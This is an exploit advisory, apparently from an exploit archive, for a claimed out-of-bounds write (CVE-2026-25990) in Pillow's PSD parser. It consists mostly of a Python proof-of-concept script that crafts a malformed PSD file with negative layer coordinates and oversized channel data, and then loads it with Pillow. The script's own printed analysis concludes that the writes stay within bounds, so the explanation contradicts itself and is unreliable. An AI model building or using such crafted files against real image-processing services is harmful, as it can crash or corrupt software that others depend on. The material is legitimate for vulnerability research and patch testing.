=============================================================================================================================================
| # Title : Pillow PSD Parser Potential Out-of-Bounds Write |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://pypi.org/project/pillow/ |
=============================================================================================================================================
[+] Summary : CVE-2026-25990 describes a potential Out-of-Bounds (OOB) Write vulnerability in the PSD parsing logic of Pillow.
The issue arises from improper validation of layer boundary coordinates (top, left, bottom, right) within crafted Photoshop (PSD) files.
By manipulating signed layer coordinates and creating inconsistencies between declared layer dimensions and actual channel image data sizes,
an attacker may trigger incorrect memory calculations during buffer allocation or pixel write operations.
[+] POC :
#!/usr/bin/env python3
import struct
import os
class OOBWriteExploit:
def __init__(self, output_file="oob_write.psd"):
self.output_file = output_file
def create_oob_write_psd(self):
"""
Creates a PSD file that triggers an Out-of-Bounds (OOB) Write
"""
psd_data = bytearray()
psd_data.extend(b'8BPS')
psd_data.extend(struct.pack('>H', 1))
psd_data.extend(b'\x00' * 6)
psd_data.extend(struct.pack('>H', 4))
psd_data.extend(struct.pack('>I', 1000))
psd_data.extend(struct.pack('>I', 1000))
psd_data.extend(struct.pack('>H', 8))
psd_data.extend(struct.pack('>H', 3))
psd_data.extend(struct.pack('>I', 0))
psd_data.extend(struct.pack('>I', 0))
layer_mask_start = len(psd_data)
psd_data.extend(struct.pack('>I', 0))
layer_info_start = len(psd_data)
psd_data.extend(struct.pack('>I', 0))
psd_data.extend(struct.pack('>h', 1))
top = -50
left = -50
bottom = 150
right = 150
psd_data.extend(struct.pack('>i', top))
psd_data.extend(struct.pack('>i', left))
psd_data.extend(struct.pack('>i', bottom))
psd_data.extend(struct.pack('>i', right))
num_channels = 4
psd_data.extend(struct.pack('>H', num_channels))
channel_positions = []
for i in range(num_channels):
if i < 3:
channel_id = i
else:
channel_id = -1
psd_data.extend(struct.pack('>h', channel_id))
channel_positions.append(len(psd_data))
psd_data.extend(struct.pack('>I', 0))
psd_data.extend(b'8BIM')
psd_data.extend(b'norm')
psd_data.extend(b'\xff')
psd_data.extend(b'\x00')
psd_data.extend(b'\x08')
psd_data.extend(b'\x00')
psd_data.extend(struct.pack('>I', 0))
if len(psd_data) % 2:
psd_data.extend(b'\x00')
for i, pos in enumerate(channel_positions):
compression = 0
psd_data.extend(struct.pack('>H', compression))
if i == 2:
channel_data = b'A' * 2000
else:
channel_data = b'\x80' * 1000
channel_full_data = struct.pack('>H', 0) + channel_data
psd_data[pos:pos+4] = struct.pack('>I', len(channel_full_data))
psd_data.extend(channel_full_data)
if len(psd_data) % 2:
psd_data.extend(b'\x00')
psd_data.extend(struct.pack('>I', 0))
layer_info_length = len(psd_data) - layer_info_start - 4
psd_data[layer_info_start:layer_info_start+4] = struct.pack('>I', layer_info_length)
layer_mask_length = len(psd_data) - layer_mask_start - 4
psd_data[layer_mask_start:layer_mask_start+4] = struct.pack('>I', layer_mask_length)
psd_data.extend(struct.pack('>H', 0))
psd_data.extend(b'\x00' * (1000 * 1000 * 4))
return psd_data
def analyze_oob_write(self):
"""
Analyzes how the OOB Write occurs
"""
print("\n Analysis of OOB Write Mechanism:")
print("=" * 50)
layer_width = 200
layer_height = 200
channels = 4
print("\n Calculations in Pillow:")
print(f"left = -50, top = -50")
print(f"right = 150, bottom = 150")
print(f"layer_width = right - left = {layer_width}")
print(f"layer_height = bottom - top = {layer_height}")
buffer_size = layer_width * layer_height * channels
print(f"\n Allocated buffer: {buffer_size:,} bytes ({layer_width}x{layer_height}x{channels})")
print("\n Writing Process:")
print("for y in range(layer_height):")
print(" for x in range(layer_width):")
print(" dest_pos = (y * layer_width + x) * channels")
print(" buffer[dest_pos:dest_pos+channels] = pixel_data")
print("\n The Logic:")
print("At x = 0, y = 0:")
print(" Required pixel is at (-50, -50) in the original image coordinates.")
print(" However, in the internal buffer, the position is (0, 0).")
print(" Writing will occur correctly at buffer[0].")
print("\nAt x = 199, y = 199:")
print(" Required pixel is at (149, 149) in original coordinates.")
print(" In the internal buffer, the index is (199, 199).")
print(" Writing occurs at buffer[199*200 + 199] = buffer[39,799].")
print(f" This is within buffer bounds (max = {buffer_size//channels - 1}) ✓")
print("\n **The Real Vulnerability**:")
print("An Out-of-Bounds write occurs when:")
print("1. There is a mismatch between the allocated buffer size and the actual data.")
print("2. Computed coordinates exceed buffer bounds due to integer overflow.")
print("3. Channel data provided is larger than the record headers claim.")
print("\nExample of OOB Write:")
print("buffer[dest_pos] = data_byte")
print("If dest_pos > len(buffer) → OOB Write")
def save_psd(self):
"""Saves the malicious file"""
malicious_data = self.create_oob_write_psd()
with open(self.output_file, 'wb') as f:
f.write(malicious_data)
print(f"\n[+] Created OOB Write file: {self.output_file}")
print(f"[+] File size: {len(malicious_data):,} bytes")
self.analyze_oob_write()
def test_oob_write(psd_file):
"""
Tests for OOB Write in Pillow
"""
try:
from PIL import Image
import array
print(f"\n Testing Pillow Version: {Image.__version__}")
img = Image.open(psd_file)
print(f"Image Dimensions: {img.size}")
pixels = img.load()
try:
# Trigger write attempt
pixels[1000, 1000] = (255, 0, 0)
print("Write successful (OOB might not have triggered)")
except Exception as e:
print(f"Error during pixel access: {e}")
except Exception as e:
print(f"Failed to open/load image: {e}")
if __name__ == "__main__":
exploit = OOBWriteExploit("oob_write_cve-2026-25990.psd")
exploit.save_psd()
print("\n[!] To test:")
print("python3 -c 'from PIL import Image; Image.open(\"oob_write_cve-2026-25990.psd\").load()'")
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation